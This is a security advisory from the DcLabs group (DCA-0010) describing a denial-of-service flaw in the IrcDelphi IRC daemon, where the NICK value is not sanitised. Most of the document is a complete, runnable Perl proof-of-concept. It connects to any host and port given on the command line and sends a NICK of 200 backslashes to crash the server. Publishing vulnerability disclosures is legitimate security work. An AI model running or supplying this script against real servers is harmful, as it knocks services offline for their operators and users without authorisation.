[DCA-0010]

[Software]
- IrcDelphi Daemon Server

[Vendor Product Description]
- IRC Daemon (IRCd, IRC Server) coded in Delphi/Kylix using Indy
components. Easy to use and light irc daemon.

[Bug Description]
- The IRC Daemon does not sanitize the variable NICK correctly leading
to a Denial-of-Service flaw.

[History]
- Advisory sent to vendor on 06/21/2010.
- No response
- Public adv. 07/02/2010

[Impact]
- Low

[Affected Version]
- IrcDelphi core-alpha1
- Prior versions may also be vulnerable.

[Codes]

#!/usr/bin/perl
use IO::Socket;

        if (@ARGV < 1) {
                usage();
        }

        $ip     = $ARGV[0];
        $port   = $ARGV[1];

        print "[+] Sending request...\n";

        $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAIL
ED!\n";
        print $socket "USER AA AA AA :AA\r\n";
        print $socket "NICK ". "\\" x 200 ."\r\n";

        sleep(3);
        close($socket);

        print "[+] Done!\n";


sub usage() {
        print "[-] Usage: <". $0 ."> <host> <port>\n";
        print "[-] Example: ". $0 ." 127.0.0.1 6667\n";
        exit;
}
----------------------------------------------------------------------------------------

DcLabs Security Group
Sponsor: ipax
ipax@dclabs.com.br

[Credits]
Crash and all DcLabs members.